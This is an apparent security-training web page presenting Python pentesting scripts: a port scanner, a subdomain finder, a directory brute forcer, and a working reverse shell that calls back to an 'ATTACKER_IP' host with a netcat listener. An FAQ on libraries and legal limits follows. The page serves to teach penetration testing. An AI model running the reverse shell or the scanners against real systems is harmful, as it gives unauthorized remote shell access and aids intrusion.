Python Scripts for Penetration Testing
Automate Your Security Testing with Custom Python Tools
Basic Port Scanner
#!/usr/bin/env python3
import socket
import argparse
from concurrent.futures import ThreadPoolExecutor
def scan_port(host, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
sock.close()
if result == 0:
return port
except:
pass
return None
def main():
parser = argparse.ArgumentParser(description='Port Scanner')
parser.add_argument('host', help='Target host')
parser.add_argument('-p', '--ports', default='1-1000', help='Port range')
args = parser.parse_args()
# Parse port range
start, end = map(int, args.ports.split('-'))
print(f"Scanning {args.host}...")
with ThreadPoolExecutor(max_workers=100) as executor:
results = [r for r in executor.map(
lambda p: scan_port(args.host, p),
range(start, end + 1)
) if r]
print(f"\nOpen ports: {sorted(results)}")
if __name__ == "__main__":
main()Subdomain Finder
#!/usr/bin/env python3
import requests
import argparse
wordlist = ['www', 'mail', 'ftp', 'admin', 'blog', 'test',
'dev', 'api', 'staging', 'demo', 'shop', 'secure']
def check_subdomain(domain, word):
url = f"http://{word}.{domain}"
try:
r = requests.get(url, timeout=3, allow_redirects=False)
if r.status_code < 400:
return url, r.status_code
except:
pass
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('domain', help='Target domain')
args = parser.parse_args()
print(f"Enumerating subdomains for {args.domain}...")
found = []
for word in wordlist:
result = check_subdomain(args.domain, word)
if result:
found.append(result)
print(f"[+] Found: {result[0]} ({result[1]})")
print(f"\nTotal found: {len(found)}")
if __name__ == "__main__":
main()Reverse Shell
#!/usr/bin/env python3
# Attacker: nc -lvnp 4444
import socket
import subprocess
import os
def main():
s = socket.socket()
s.connect(("ATTACKER_IP", 4444))
# Redirect stdin/stdout/stderr to socket
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# Spawn shell
subprocess.call(["/bin/bash", "-i"])
if __name__ == "__main__":
main()
# Pentester note: Only use on authorized systems!
# This is for legal penetration testing only!Directory Brute Forcer
#!/usr/bin/env python3
import requests
import argparse
common_dirs = ['admin', 'backup', 'uploads', 'images', 'css',
'js', 'dashboard', 'login', 'phpmyadmin', 'api']
def check_directory(base_url, directory):
url = f"{base_url}/{directory}/"
try:
r = requests.get(url, timeout=5)
if r.status_code == 200:
return directory, len(r.content)
elif r.status_code == 403:
return directory, "Forbidden"
except:
pass
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('url', help='Target URL (with http://)')
args = parser.parse_args()
print(f"Brute forcing directories on {args.url}...")
for d in common_dirs:
result = check_directory(args.url, d)
if result:
print(f"[+] Found: /{result[0]} - Size: {result[1]}")
if __name__ == "__main__":
main()Frequently Asked Questions
Why should penetration testers learn Python?
Python is essential for pentesters because: rapid prototyping of custom tools, automation of repetitive tasks, ability to integrate various security tools, strong library ecosystem (Scapy, Requests, BeautifulSoup), and script portability across platforms. Writing custom scripts gives advantages over standard tools for specific scenarios.
What Python libraries are useful for penetration testing?
Key libraries: Scapy (packet crafting), Requests (HTTP operations), BeautifulSoup (web scraping), NumPy/Pandas (data analysis), PyCrypto/Cryptography (crypto operations), socket (networking), paramiko (SSH), pwntools (CTF/exploitation), and Impacket (Windows protocols). These cover most pentesting automation needs.
How do I create a network scanner in Python?
Network scanner uses socket module for port scanning: iterate through ports, attempt connection, record open ports. For ICMP ping sweep, use raw sockets or system ping command. More advanced: use Scapy for packet crafting and response analysis. Include threading for faster scanning and argparse for command-line options.
How do I write a web vulnerability scanner in Python?
Web scanner uses Requests for HTTP, BeautifulSoup for HTML parsing: crawl pages, identify forms and inputs, test for SQLi/XSS, check headers and status codes. Use concurrent.futures for parallel scanning. Include reporting functionality and export results to JSON/HTML. Always test on authorized targets only.
What are the legal considerations for Python pentesting scripts?
Only use scripts on systems you have explicit permission to test. Unauthorized scanning/testing is illegal under IT Act in India. Ensure you have signed scope document before testing. Store results securely, maintain confidentiality of client data, and don't share findings without authorization. Legal framework: IT Act 2000 Section 43, 66, 72.
Learn Python Scripting for Security
Master Python for cybersecurity and build your own tools.
View Course